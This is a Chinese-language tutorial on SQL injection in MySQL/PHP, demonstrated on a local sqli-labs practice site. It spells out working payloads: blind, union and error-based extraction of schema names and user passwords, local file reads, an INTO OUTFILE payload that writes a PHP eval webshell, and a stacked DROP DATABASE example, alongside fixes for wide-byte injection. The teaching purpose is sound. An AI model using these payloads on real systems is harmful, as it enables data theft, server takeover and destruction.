SQL注入漏洞詳解
目錄
(1)預編譯(PreparedStatement)(JSP)
以下所有代碼的環境:MySQL5.5.20+PHP
SQL注入是因為后台SQL語句拼接了用戶的輸入,而且Web應用程序對用戶輸入數據的合法性沒有判斷和過濾,前端傳入后端的參數是攻擊者可控的,攻擊者可以通過構造不同的SQL語句來實現對數據庫的任意操作。比如查詢、刪除,增加,修改數據等等,如果數據庫的用戶權限足夠大,還可以對操作系統執行操作。
SQL注入可以分為平台層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平台的漏洞所致;后者主要是由於程序員對輸入未進行細致地過濾。SQL注入是針對數據庫、后台、系統層面的攻擊!
由於以下的環境都是MySQL數據庫,所以先了解點MySQL有關的知識。在MySQL5.0之后,MySQL中默認添加了一個名為 information_schema 的數據庫,該數據庫中的表都是只讀的,不能進行更新、刪除和插入等操作,也不能加載觸發器,因為它們實際只是一個視圖,不是基本表,沒有關聯的文件。
當嘗試刪除該數據庫時,會爆出以下的錯誤!
mysql中注釋符:# 、/**/ 、 --
information_schema數據庫中三個很重要的表:
- information_schema.schemata: 該數據表存儲了mysql數據庫中的所有數據庫的庫名
- information_schema.tables: 該數據表存儲了mysql數據庫中的所有數據表的表名
- information_schema.columns: 該數據表存儲了mysql數據庫中的所有列的列名
關於這幾個表的一些語法:
- // 通過這條語句可以得到所有的數據庫名
- select schema_name from information_schema.schemata limit 0,1
- // 通過這條語句可以得到所有的數據表名
- select table_name from information_schema.tables limit 0,1
- // 通過這條語句可以得到指定security數據庫中的所有表名
- select table_name from information_schema.tables where table_schema='security'limit 0,1
- // 通過這條語句可以得到所有的列名
10.select column_name from information_schema.columns limit 0,1
11.// 通過這條語句可以得到指定數據庫security中的數據表users的所有列名
12.select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
13.
14.//通過這條語句可以得到指定數據表users中指定列password的數據(只能是database()所在的數據庫內的數據,因為處於當前數據庫下的話不能查詢其他數據庫內的數據)
15.select password from users limit 0,1
mysql中比較常用的一些函數:
- version(): 查詢數據庫的版本
- user():查詢數據庫的使用者
- database():數據庫
- system_user():系統用戶名
- session_user():連接數據庫的用戶名
- current_user:當前用戶名
- load_file():讀取本地文件
- @@datadir:讀取數據庫路徑
- @@basedir:mysql安裝路徑
- @@version_complie_os:查看操作系統
ascii(str) : 返回給定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
length(str) : 返回給定字符串的長度,如 length("string")=6
substr(string,start,length) : 對於給定字符串string,從start位開始截取,截取length長度 ,如 substr("chinese",3,2)="in"
substr()、stbstring()、mid() 三個函數的用法、功能均一致
concat(username):將查詢到的username連在一起,默認用逗號分隔
concat(str1,'*',str2):將字符串str1和str2的數據查詢到一起,中間用*連接
group_concat(username) :將username數據查詢在一起,用逗號連接
limit 0,1:查詢第1個數 limit 1,1: 查詢第2個數 limit n,1: 查詢第n+1個數
更多的關於SQL語句:常見的SQL語句
SQL注入的分類
依據注入點類型分類
- 數字類型的注入
- 字符串類型的注入
- 搜索型注入
依據提交方式分類
- GET注入
- POST注入
- COOKIE注入
- HTTP頭注入(XFF注入、UA注入、REFERER注入)
依據獲取信息的方式分類
- 基於布爾的盲注
- 基於時間的盲注
- 基於報錯的注入
- 聯合查詢注入
- 堆查詢注入 (可同時執行多條語句)
判斷是否存在SQL注入
一個網站有那么多的頁面,那么我們如何判斷其中是否存在SQL注入的頁面呢?我們可以用網站漏洞掃描工具進行掃描,常見的網站漏洞掃描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。
但是在很多時候,還是需要我們自己手動去判斷是否存在SQL注入漏洞。下面列舉常見的判斷SQL注入的方式。但是目前大部分網站都對此有防御,真正發現網頁存在SQL注入漏洞,還得靠技術和經驗了。
一:二話不說,先加單引號'、雙引號"、單括號)、雙括號))等看看是否報錯,如果報錯就可能存在SQL注入漏洞了。
二:還有在URL后面加 and 1=1 、 and 1=2 看頁面是否顯示一樣,顯示不一樣的話,肯定存在SQL注入漏洞了。
三:還有就是Timing Attack測試,也就是時間盲注。有時候通過簡單的條件語句比如 and 1=2 是無法看出異常的。
在MySQL中,有一個Benchmark() 函數,它是用於測試性能的。 Benchmark(count,expr) ,這個函數執行的結果,是將表達式 expr 執行 count 次 。
因此,利用benchmark函數,可以讓同一個函數執行若干次,使得結果返回的時間比平時要長,通過時間長短的變化,可以判斷注入語句是否執行成功。這是一種邊信道攻擊,這個技巧在盲注中被稱為Timing Attack,也就是時間盲注。
MySQL |
benchmark(100000000,md(5)) sleep(3) |
PostgreSQL |
PG_sleep(5) Generate_series(1,1000000) |
SQLServer |
waitfor delay '0:0:5' |
易出現SQL注入的功能點:凡是和數據庫有交互的地方都容易出現SQL注入,SQL注入經常出現在登陸頁面、涉及獲取HTTP頭(user-agent / client-ip等)的功能點及訂單處理等地方。例如登陸頁面,除常見的萬能密碼,post 數據注入外也有可能發生在HTTP頭中的 client-ip 和 x-forward-for 等字段處。這些字段是用來記錄登陸的 i p的,有可能會被存儲進數據庫中從而與數據庫發生交互導致sql注入。
一:Boolean盲注
盲注,就是在服務器沒有錯誤回顯時完成的注入攻擊。服務器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的信息,所以攻擊者必須找到一個方法來驗證注入的SQL語句是否得到了執行。
我們來看一個例子:這是sqli的Less-5,我自己對源碼稍微改動了一下,使得頁面會顯示執行的sql語句
通過輸入 http://127.0.0.1/sqli/Less-1/?id=1 我們得到了下面的頁面
然后輸入 http://127.0.0.1/sqli/Less-5/?id=-1 我們得到下面的頁面
當我們輸入 http://127.0.0.1/sqli/Less-5/?id=1' 我們得到下面的頁面
由此可以看出代碼把 id 當成了字符來處理,而且后面還有一個限制顯示的行數 limit 0,1 。當我們輸入的語句正確時,就顯示You are in.... 當我們輸入的語句錯誤時,就不顯示任何數據。當我們的語句有語法錯誤時,就報出 SQL 語句錯誤。
於是,我們可以推斷出頁面的源代碼:
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql查詢語句
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
- if($row){ //如果查詢到數據
- echo 'You are in...........';
- }else{ //如果沒查詢到數據
- print_r(mysql_error());
- }
於是我們可以通過構造一些判斷語句,通過頁面是否顯示來證實我們的猜想。盲注一般用到的一些函數:ascii() 、substr() 、length(),exists()、concat()等
1:判斷數據庫類型
這個例子中出錯頁面已經告訴了我們此數據庫是MySQL,那么當我們不知道是啥數據庫的時候,如何分辨是哪個數據庫呢?
雖然絕大多數數據庫的大部分SQL語句都類似,但是每個數據庫還是有自己特殊的表的。通過表我們可以分辨是哪些數據庫。
MySQL數據庫的特有的表是 information_schema.tables , access數據庫特有的表是 msysobjects 、SQLServer 數據庫特有的表是 sysobjects 。那么,我們就可以用如下的語句判斷數據庫。哪個頁面正常顯示,就屬於哪個數據庫
- //判斷是否是 Mysql數據庫
- http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
- //判斷是否是 access數據庫
- http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
-
- //判斷是否是 Sqlserver數據庫
- http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
對於MySQL數據庫,information_schema 數據庫中的表都是只讀的,不能進行更新、刪除和插入等操作,也不能加載觸發器,因為它們實際只是一個視圖,不是基本表,沒有關聯的文件。
information_schema.tables 存儲了數據表的元數據信息,下面對常用的字段進行介紹:
- table_schema: 記錄數據庫名;
- table_name: 記錄數據表名;
- table_rows: 關於表的粗略行估計;
- data_length : 記錄表的大小(單位字節);
2:判斷當前數據庫名(以下方法不適用於access和SQL Server數據庫)
- 1:判斷當前數據庫的長度,利用二分法
- http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常顯示
- http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 //不顯示任何數據
- http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 //正常顯示
- http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 //不顯示任何數據
- 大於7正常顯示,大於8不顯示,說明大於7而不大於8,所以可知當前數據庫長度為 8
- 2:判斷當前數據庫的字符,和上面的方法一樣,利用二分法依次判斷
10.//判斷數據庫的第一個字符
11.http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
- 12.
13.//判斷數據庫的第二個字符
14.http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
15.
16............
17.由此可以判斷出當前數據庫為 security
3:判斷當前數據庫中的表
- http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜測當前數據庫中是否存在admin表
- 1:判斷當前數據庫中表的個數
- // 判斷當前數據庫中的表的個數是否大於5,用二分法依次判斷,最后得知當前數據庫表的個數為4
- http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
-
- 2:判斷每個表的長度
- //判斷第一個表的長度,用二分法依次判斷,最后可知當前數據庫中第一個表的長度為6
- http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
10.//判斷第二個表的長度,用二分法依次判斷,最后可知當前數據庫中第二個表的長度為6
11.http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
- 12.
13.3:判斷每個表的每個字符的ascii值
14.//判斷第一個表的第一個字符的ascii值
15.http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
16.
17.//判斷第一個表的第二個字符的ascii值
18.http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
- 19.
20..........
21.由此可判斷出存在表 emails、referers、uagents、users ,猜測users表中最有可能存在賬戶和密碼,所以以下判斷字段和數據在 users 表中判斷
4. 判斷表中的字段
- http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已經證實了存在admin表,那么猜測是否存在username字段
- 1:判斷表中字段的個數
- //判斷users表中字段個數是否大於5,這里的users表是通過上面的語句爆出來的
- http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
-
- 2:判斷字段的長度
- //判斷第一個字段的長度
- http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
10.//判斷第二個字段的長度
11.http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
- 12.
13.3:判斷字段的ascii值
14.//判斷第一個字段的第一個字符的長度
15.http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
16.
17.//判斷第一個字段的第二個字符的長度
18.http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
- 19.
20............
21.由此可判斷出users表中存在 id、username、password 字段
5.判斷字段中的數據
- 我們知道了users中有三個字段 id 、username 、password,我們現在爆出每個字段的數據
- 1: 判斷數據的長度
- // 判斷id字段的第一個數據的長度
- http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
- // 判斷id字段的第二個數據的長度
- http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
10.2:判斷數據的ascii值
11.// 判斷id字段的第一個數據的第一個字符的ascii值
12.http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
13.
14.// 判斷id字段的第一個數據的第二個字符的ascii值
15.http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
- 16.
17............
二:union 注入
union聯合查詢適用於有顯示列的注入。
我們可以通過order by來判斷當前表的列數。最后可得知,當前表有3列
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 #
我們可以通過 union 聯合查詢來知道顯示的列數
127.0.0.1/sqli/Less-1/?id=1' union select 1 ,2 ,3 #
咦,這里為啥不顯示我們聯合查詢的呢?因為這個頁面只顯示一行數據,所以我們可以用 and 1=2 把前面的條件給否定了,或者我們直接把前面 id=1 改成 id =-1 ,在后面的代碼中,都是將 id=-1進行注入
- http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 #
- http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 #
這樣,我們聯合查詢的就顯示出來了。可知,第2列和第3列是顯示列。那我們就可以在這兩個位置插入一些函數了。
我們可以通過這些函數獲得該數據庫的一些重要的信息
version() :數據庫的版本 database() :當前所在的數據庫 @@basedir : 數據庫的安裝目錄
@@datadir : 數據庫文件的存放目錄 user() : 數據庫的用戶 current_user() : 當前用戶名
system_user() : 系統用戶名 session_user() :連接到數據庫的用戶名
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),user() #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),@@basedir #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,@@datadir,current_user() #
我們還可以通過union注入獲得更多的信息。
- // 獲得所有的數據庫
- http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
- // 獲得所有的表
- http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables#
-
- // 獲得所有的列
- http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns#
10.#獲取當前數據庫中指定表的指定字段的值(只能是database()所在的數據庫內的數據,因為處於當前數據庫下的話不能查詢其他數據庫內的數據)
11.http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(password),3 from users%23
當我們已知當前數據庫名security,我們就可以通過下面的語句得到當前數據庫的所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
我們知道了當前數據庫中存在了四個表,那么我們可以通過下面的語句知道每一個表中的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
如下,我們可以知道users表中有id,username,password三列
我們知道存在users表,又知道表中有 id ,username, password三列,那么我們可以構造如下語句
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users #
我們就把users表中的所有數據都給爆出來了
三:文件讀寫
當有顯示列的時候,文件讀可以利用 union 注入。當沒有顯示列的時候,只能利用盲注進行數據讀取;
文件寫入只能利用 union 注入
示例:讀取e盤下3.txt文件
union注入讀取文件
- //union注入讀取 e:/3.txt 文件
- http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt")#
- //也可以把 e:/3.txt 轉換成16進制 0x653a2f332e747874
- http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x653a2f332e747874)#
盲注讀取文件
- //盲注讀取的話就是利用hex函數,將讀取的字符串轉換成16進制,再利用ascii函數,轉換成ascii碼,再利用二分法一個一個的判斷字符,很復雜,一般結合工具完成
- http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
我們可以利用寫入文件的功能,在e盤創建4.php文件,然后寫入一句話木馬
union寫入文件
- //利用union注入寫入一句話木馬 into outfile 和 into dumpfile 都可以
- http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'e:/4.php' #
- // 可以將一句話木馬轉換成16進制的形式
- http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'e:/4.php' #
四:報錯注入
利用前提: 頁面上沒有顯示位,但是需要輸出 SQL 語句執行錯誤信息。比如 mysql_error()
優點: 不需要顯示位
缺點: 需要輸出 mysql_error( )的報錯信息
floor報錯注入
floor報錯注入是利用 count()函數 、rand()函數 、floor()函數 、group by 這幾個特定的函數結合在一起產生的注入漏洞。缺一不可
- // 我們可以將 user() 改成任何函數,以獲取我們想要的信息。具體可以看文章開頭關於information_schema數據庫的部分
- http://127.0.0.1/sqli/Less-1/?id=-1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
- //將其分解
- (select 1 from (Y)a)
- Y= select count(*) from information_schema.tables group by concat(Z)
- Z= user(),floor(rand(0)*2) //將這里的 user() 替換成我們需要查詢的函數
floor報錯注入參考:https://blog.csdn.net/zpy1998zpy/article/details/80650540
ExtractValue報錯注入
EXTRACTVALUE (XML_document, XPath_string)
- 第一個參數:XML_document 是 String 格式,為 XML 文檔對象的名稱
- 第二個參數:XPath_string (Xpath 格式的字符串).
作用:從目標 XML 中返回包含所查詢值的字符串
ps: 返回結果 限制在32位字符
- // 可以將 user() 改成任何我們想要查詢的函數和sql語句 ,0x7e表示的是 ~
- http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,user(),0x7e))#
-
- // 通過這條語句可以得到所有的數據庫名,更多的關於informaion_schema的使用看文章頭部
- http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#
UpdateXml報錯注入
UpdateXml 函數實際上是去更新了XML文檔,但是我們在XML文檔路徑的位置里面寫入了子查詢,我們輸入特殊字符,然后就因為不符合輸入規則然后報錯了,但是報錯的時候他其實已經執行了那個子查詢代碼!
UPDATEXML (XML_document, XPath_string, new_value)
- 第一個參數:XML_document 是 String 格式,為 XML 文檔對象的名稱,文中為 Doc 1
- 第二個參數:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 語法,可以在網上查找教程。
- 第三個參數:new_value,String 格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值
- // 可以將 user() 改成任何我們想要查詢的函數和sql語句 ,0x7e表示的是 ~
- http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(),0x7e),1)#
-
- // 通過這條語句可以得到所有的數據庫名,更多的關於informaion_schema的使用看文章頭部
- http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
更多的關於報錯注入的文章:https://blog.csdn.net/cyjmosthandsome/article/details/87947136
https://blog.csdn.net/he_and/article/details/80455884
五:時間盲注
Timing Attack注入,也就是時間盲注。通過簡單的條件語句比如 and 1=2 是無法看出異常的。
在MySQL中,有一個Benchmark() 函數,它是用於測試性能的。 Benchmark(count,expr) ,這個函數執行的結果,是將表達式 expr 執行 count 次 。
因此,利用benchmark函數,可以讓同一個函數執行若干次,使得結果返回的時間比平時要長,通過時間長短的變化,可以判斷注入語句是否執行成功。這是一種邊信道攻擊,這個技巧在盲注中被稱為Timing Attack,也就是時間盲注。
MySQL |
benchmark(100000000,md(5)) sleep(3) |
PostgreSQL |
PG_sleep(5) Generate_series(1,1000000) |
SQLServer |
waitfor delay '0:0:5' |
利用前提:頁面上沒有顯示位,也沒有輸出 SQL 語句執行錯誤信息。正確的 SQL 語句和錯誤的 SQL 語句返回頁面都一樣,但是加入 sleep(5)條件之后,頁面的返回速度明顯慢了 5 秒。
優點:不需要顯示位,不需要出錯信息。
缺點:速度慢,耗費大量時間
sleep 函數判斷頁面響應時間 if(判斷條件,為true時執行,為false時執行)
我們可以構造下面的語句,判斷條件是否成立。然后不斷變換函數直到獲取到我們想要的信息
- //判斷是否存在延時注入
- http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)#
- // 判斷數據庫的第一個字符的ascii值是否大於100,如果大於100,頁面立即響應,如果不大於,頁面延時5秒響應
- http://127.0.0.1/sqli/Less-1/?id=1' and if(ascii(substring(database(),1,1))<100,1,sleep(5)) #
六:REGEXP正則匹配
正則表達式,又稱規則表達式(Regular Expression,在代碼中常簡寫為regex、regexp或RE),計算機科學的一個概念。正則表達式通常被用來檢索、替換那些符合某個模式(規則)的文本
查找name字段中含有a或者b的所有數據: select name from admin where name regexp ' a|b ';
查找name字段中含有ab,且ab前有字符的所有數據(.匹配任意字符): select name from admin where name regexp ' .ab ';
查找name字段中含有at或bt或ct的所有數據: select name from admin where name regexp ' [abc]t ';
查找name字段中以a-z開頭的所有數據: select name from admin where name regexp ' ^[a-z] ';
已知數據庫名為 security,判斷第一個表的表名是否以 a-z 中的字符開頭,^[a-z] --> ^a ; 判斷出了第一個表的第一個字符,接着判斷第一個表的第二個字符 ^a[a-z] --> ^ad ; 就這樣,一步一步判斷第一個表的表名 ^admin$ 。然后 limit 1,1 判斷第二個表
- // 判斷security數據庫下的第一個表的是否以a-z的字母開頭
- http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #
參考文檔:http://www.cnblogs.com/lcamry/articles/5717442.html
七:寬字節注入
寬字節注入是由於不同編碼中中英文所占字符的不同所導致的。通常來說,在GBK編碼當中,一個漢字占用2個字節。而在UTF-8編碼中,一個漢字占用3個字節。在php中,我們可以通過輸入 echo strlen("中") 來測試,當為GBK編碼時,輸入2,而為UTF-8編碼時,輸出3。除了GBK以外,所有的ANSI編碼都是中文都是占用兩個字節。
相關文章:字符集與字符編碼
在說之前,我們先說一下php中對於sql注入的過濾,這里就不得不提到幾個函數了。
addslashes()函數,這個函數在預定義字符之前添加反斜杠 \ 。預定義字符: 單引號 ' 、雙引號 " 、反斜杠 \ 、NULL。但是這個函數有一個特點就是雖然會添加反斜杠 \ 進行轉義,但是 \ 並不會插入到數據庫中。。這個函數的功能和魔術引號完全相同,所以當打開了魔術引號時,不應使用這個函數。可以使用 get_magic_quotes_gpc() 來檢測是否已經轉義。
mysql_real_escape_string() 函數,這個函數用來轉義sql語句中的特殊符號x00 、\n 、\r 、\ 、‘ 、“ 、x1a。
魔術引號:當打開時,所有的單引號’、雙引號"、反斜杠\ 和 NULL 字符都會被自動加上一個反斜線來進行轉義,這個和 addslashes()函數的作用完全相同。所以,如果魔術引號打開了,就不要使用addslashes()函數了。一共有三個魔術引號指令。
- magic_quotes_gpc 影響到 HTTP 請求數據(GET,POST 和 COOKIE)。不能在運行時改變。在 PHP 中默認值為 on。 參見 get_magic_quotes_gpc()。
- magic_quotes_runtime 如果打開的話,大部份從外部來源取得數據並返回的函數,包括從數據庫和文本文件,所返回的數據都會被反斜線轉義。該選項可在運行的時改變,在 PHP 中的默認值為 off。 參見 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
- magic_quotes_sybase 如果打開的話,將會使用單引號對單引號進行轉義而非反斜線。此選項會完全覆蓋 magic_quotes_gpc。如果同時打開兩個選項的話,單引號將會被轉義成 ''。而雙引號、反斜線 和 NULL 字符將不會進行轉義。 如何取得其值參見 ini_get()
我們這里搭了一個平台來測試,這里得感謝其他大佬的源碼。
測試代碼及數據庫:http://pan.baidu.com/s/1eQmUArw 提取密碼:75tu
首先,我們來看一下1的源碼,這對用戶輸入的id用 addslashes() 函數進行了處理,而且是當成字符串處理。
我們輸入 http://127.0.0.1/1/1/?id=1'
這里addslashes函數把我們的 ’ 進行了轉義,轉義成了 \'。
所以,我們要想繞過這個轉義,就得把 \' 的 \ 給去掉。那么怎么去掉呢。
- 在轉義之后,想辦法讓\前面再加一個\,或者偶數個\即可,這樣就變成了\\' ,\ 被轉義了,而 ‘ 逃出了限制。
- 在轉義之后,想辦法把 \ 弄沒有,只留下一個 ' 。
我們這里利用第2中方法,寬字節注入,這里利用的是MySQL的一個特性。MySQL在使用GBK編碼的時候,會認為兩個字符是一個漢字,前提是前一個字符的 ASCII 值大於128,才會認為是漢字。
當我們輸入如下語句的時候,看看會發生什么。
127.0.0.1/1/1/?id=1%df'
我們發現頁面報錯了,而且報錯的那里是 '1運'' 。我們只輸入了 1%df ' ,最后變成了 1運 ' 。所以是mysql把我們輸入的%df和反斜杠\ 合成了一起,當成了 運 來處理。而我們輸入的單引號' 逃了出來,所以發生了報錯。我們現在來仔細梳理一下思路。 我們輸入了 1%df ’ ,而因為使用了addslashes()函數處理 ',所以最后變成了 1%df\' , 又因為會進行URL編碼,所以最后變成了 1%df%5c%27 。而MySQL正是把%df%5c當成了漢字 運 來處理,所以最后 %27 也就是單引號逃脫了出來,這樣就發生了報錯。而這里我們不僅只是能輸入%df ,我們只要輸入的數據的ASCII碼大於128就可以。因為在MySQL中只有當前一個字符的ASCII大於128,才會認為兩個字符是一個漢字。所以只要我們輸入的數據大於等於 %81 就可以使 ' 逃脫出來了。
知道怎么繞過,我們就可以進行注入獲得我們想要的信息了!
既然GBK編碼可以,那么GB2312可不可以呢?懷着這樣的好奇,我們把數據庫編碼改成了GB2312,再次進行了測試。我們發現,當我們再次利用輸入 1%df' 的時候,頁面竟然不報錯,那么這是為什么呢?
這要歸結於GB2312編碼的取值范圍。它編碼的取值范圍高位是0XA1~0XF7,低位是0XA1~0xFE,而 \ 是0x5C ,不在低位范圍中。所以0x5c根本不是GB2312中的編碼。所以,%5c 自然不會被當成中文的一部分給吃掉了。
所以,通過這個我們可以得到結論,在所有的編碼當中,只要低位范圍中含有 0x5C的編碼,就可以進行寬字符注入。
發現了這個寬字符注入,於是很多程序猿把 addslashes() 函數換成了 mysql_real_escape_string() 函數,想用此來抵御寬字節的注入。因為php官方文檔說了這個函數會考慮到連接的當前字符集
那么,使用了這個函數是否就可以抵御寬字符注入呢。我們測試一下,我們輸入下面的語句
http://127.0.0.1/1/3/?id=1%df'
發現還是能進行寬字節的注入。那么這是為什么呢?原因就是,你沒有指定php連接mysql的字符集。我們需要在執行SQL語句之前調用 mysql_set_charset 函數,並且設置當前連接的字符集為gbk。
這樣當我們再次輸入的時候,就不能進行寬字節注入了!
寬字節注入的修復
在調用 mysql_real_escape_string() 函數之前,先設置連接所使用的字符集為GBK ,mysql_set_charset=('gbk',$conn) 。這個方法是可行的。但是還是有很多網站是使用的addslashes()函數進行過濾,我們不可能把所有的addslashes()函數都換成mysql_real_escape_string()。
所以防止寬字節注入的另一個方法就是將 character_set_client 設置為binary(二進制)。需要在所有的sql語句前指定連接的形式是binary二進制:
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
當我們的MySQL收到客戶端的請求數據后,會認為他的編碼是character_set_client所對應的編碼,也就是二進制。然后再將它轉換成character_set_connection所對應的編碼。然后進入具體表和字段后,再轉換成字段對應的編碼。當查詢結果產生后,會從表和字段的編碼轉換成character_set_results所對應的編碼,返回給客戶端。所以,當我們將character_set_client編碼設置成了binary,就不存在寬字節注入的問題了,所有的數據都是以二進制的形式傳遞。
八:堆疊注入
在SQL中,分號;是用來表示一條sql語句的結束。試想一下我們在 ; 結束后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合並在一起,兩者之間有什么區別呢?區別就在於union 或者union all執行的語句類型是有限的,只可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:root';DROP database user;服務器端生成的sql語句為:Select * from user where name='root';DROP database user;當執行查詢后,第一條顯示查詢信息,第二條則將整個user數據庫刪除。
SQL Injection8(堆疊注入)——強網杯2019隨便注
九:二次注入
二次注入漏洞是一種在Web應用程序中廣泛存在的安全漏洞形式。相對於一次注入漏洞而言,二次注入漏洞更難以被發現,但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。
- 黑客通過構造數據的形式,在瀏覽器或者其他軟件中提交HTTP數據報文請求到服務端進行處理,提交的數據報文請求中可能包含了黑客構造的SQL語句或者命令。
- 服務端應用程序會將黑客提交的數據信息進行存儲,通常是保存在數據庫中,保存的數據信息的主要作用是為應用程序執行其他功能提供原始輸入數據並對客戶端請求做出響應。
- 黑客向服務端發送第二個與第一次不相同的請求數據信息。
- 服務端接收到黑客提交的第二個請求信息后,為了處理該請求,服務端會查詢數據庫中已經存儲的數據信息並處理,從而導致黑客在第一次請求中構造的SQL語句或者命令在服務端環境中執行。
- 服務端返回執行的處理結果數據信息,黑客可以通過返回的結果數據信息判斷二次注入漏洞利用是否成功
我們訪問 http://127.0.0.1/sqli/Less-24/index.php
是一個登陸頁面,我們沒有賬號,所以選擇新建一個用戶
我們新建的用戶名為:admin'# 密碼為:123456
查看數據庫,可以看到,我們的數據插入進去了
我們使用新建的用戶名和密碼登錄
登錄成功了,跳轉到了后台頁面修改密碼頁面。
我們修改用戶名為:admin'# 密碼為:aaaaaaaaa
提示密碼更新成功!
我們查看數據庫,發現用戶 admin'# 的密碼並沒有修改,而且 admin 用戶的密碼修改為了 aaaaaaaaaa
那么,為什么會這樣呢?我們查看修改密碼頁面源代碼,發現這里存在明顯的SQL注入漏洞
當我們提交用戶名 admin'# 修改密碼為 aaaaaaaaaa 的時候,這條SQL語句就變成了下面的語句了。
#把后面的都給注釋了,所以就是修改了admin用戶的密碼為 aaaaaaaaaa
$sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";
十:User-Agent注入
我們訪問 http://127.0.0.1/sqli/Less-18/ ,頁面顯示一個登陸框和我們的ip信息
當我們輸入正確的用戶名和密碼之后登陸之后,頁面多顯示了 瀏覽器的User-Agent
抓包,修改其User-Agent為
'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我們可以將 database()修改為任何的函數
可以看到,頁面將當前的數據庫顯示出來了
十一:Cookie注入
如今絕大部門開發人員在開發過程中會對用戶傳入的參數進行適當的過濾,但是很多時候,由於個人對安全技術了解的不同,有些開發人員只會對get,post這種方式提交的數據進行參數過濾。
